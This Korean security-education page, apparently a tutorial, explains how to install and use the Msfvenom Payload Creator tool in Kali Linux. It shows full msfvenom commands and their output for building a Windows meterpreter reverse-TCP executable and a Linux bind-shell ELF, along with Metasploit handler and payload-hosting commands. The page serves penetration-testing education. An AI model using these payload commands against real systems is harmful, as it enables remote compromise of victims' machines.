> For the complete documentation index, see [llms.txt](https://sec.skill.or.kr/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sec.skill.or.kr/hacking/kali-linux-mpc.md).

# Msfvenom Payload Creator(MPC) in Kali Linux

{% hint style="info" %}
**2022년 NHN Cloud&#x20;**<mark style="color:red;">**무료**</mark>**&#x20;교육일정** : <https://doc.skill.or.kr/2022-NHN-Cloud-Education>
{% endhint %}

## 제목 : Msfvenom Payload Creator(MPC) in Kali Linux

{% hint style="danger" %}
**주의 : 테스트 이외의 목적으로 발생 되는 문제점에 대해서는 프로그램을 사용하는 사용자가 책임을 지셔야 한다는 것을 알려 드립니다.**

**Disclaimer: I am not responsible for any damage done using this tool. This tool should only be used for educational purposes and for penetration testing.**
{% endhint %}

### 내용 : &#x20;

> MPC 툴 에 대한 사용 하는 방법인 영상입니다.

### Description&#x20;

> Msfvenom Payload Creator (MPC) is a wrapper to generate multiple types of payloads, based on users choice. The idea is to be as simple as possible (only requiring one input) to produce their payload.
>
> Fully automating msfvenom & Metasploit is the end goal *(well as to be be able to automate MPC itself)*. The rest is to make the user's life as easy as possible (e.g. IP selection menu, msfconsole resource file/commands, batch payload production and able to enter any argument in any order *(in various formats/patterns)*).
>
> The only necessary input from the user should be defining the payload they want by either the platform (e.g. `windows`), or the file extension they wish the payload to have (e.g. `exe`).
>
> * Can't remember your IP for a interface? Don't sweat it, just use the interface name: `eth0`.
> * Don't know what your external IP is? MPC will discover it: `wan`.
> * Want to generate one of each payload? No issue! Try: `loop`.
> * Want to mass create payloads? Everything? Or to filter your select? ..Either way, its not a problem. Try: `batch`(for everything), `batch msf` (for every Meterpreter option), `batch staged` (for every staged payload), or `batch cmd stageless` (for every stageless command prompt)!

### Infomatio :&#x20;

> GitHub : <https://github.com/g0tmi1k/msfpc>
>
> \## Install
>
> * Designed for **Kali Linux v2.x/Rolling** & **Metasploit v4.11+**.
> * Kali v1.x should work.
> * OSX 10.11+ should work.
> * Weakerth4n 6+ should work.
> * *...nothing else has been tested.*
>
> ```
> $ curl -k -L "https://raw.githubusercontent.com/g0tmi1k/mpc/master/msfpc.sh" > /usr/local/bin/msfpc
> $ chmod 0755 /usr/local/bin/msfpc
> ```
>
> Kali Linux : MSFPC is already [packaged](https://pkg.kali.org/pkg/msfpc) in [Kali Rolling](https://www.kali.org/), so all you have to-do is:
>
> ```
> root@kali:~# apt install -y msfpc
> ```
>
> Example #1&#x20;
>
> ```
> $ bash msfpc.sh windows 192.168.1.10
>  [*] MSFvenom Payload Creator (MSFPC v1.4.4)
>  [i]   IP: 192.168.1.10
>  [i] PORT: 443
>  [i] TYPE: windows (windows/meterpreter/reverse_tcp)
>  [i]  CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe \
>   --platform windows -a x86 -e generic/none LHOST=192.168.1.10 LPORT=443 \
>   > '/root/windows-meterpreter-staged-reverse-tcp-443.exe'
>
>  [i] windows meterpreter created: '/root/windows-meterpreter-staged-reverse-tcp-443.exe'
>
>  [i] MSF handler file: '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
>  [i] Run: msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
>  [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
>  [*] Done!
> $
> ```
>
> Example #2
>
> ```
> $ ./msfpc.sh elf bind eth0 4444 verbose
>  [*] MSFvenom Payload Creator (MSFPC v1.4.4)
>  [i]        IP: 192.168.103.142
>  [i]      PORT: 4444
>  [i]      TYPE: linux (linux/x86/shell/bind_tcp)
>  [i]     SHELL: shell
>  [i] DIRECTION: bind
>  [i]     STAGE: staged
>  [i]    METHOD: tcp
>  [i]       CMD: msfvenom -p linux/x86/shell/bind_tcp -f elf \
>   --platform linux -a x86 -e generic/none  LPORT=4444 \
>   > '/root/linux-shell-staged-bind-tcp-4444.elf'
>
>  [i] linux shell created: '/root/linux-shell-staged-bind-tcp-4444.elf'
>
>  [i] File: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size
>  [i] Size: 4.0K
>  [i]  MD5: eed4623b765eea623f2e0206b63aad61
>  [i] SHA1: 0b5dabd945ef81ec9283768054b3c22125aa9185
>
>  [i] MSF handler file: '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
>  [i] Run: msfconsole -q -r '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
>  [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
>  [*] Done!
> $
> ```

{% embed url="<https://youtu.be/Qz3hvIZH8OE>" %}
시연 영상    &#x20;
{% endembed %}

{% hint style="info" %}
**2022년 NHN Cloud&#x20;**<mark style="color:red;">**무료**</mark>**&#x20;교육일정** : <https://doc.skill.or.kr/2022-NHN-Cloud-Education>
{% endhint %}
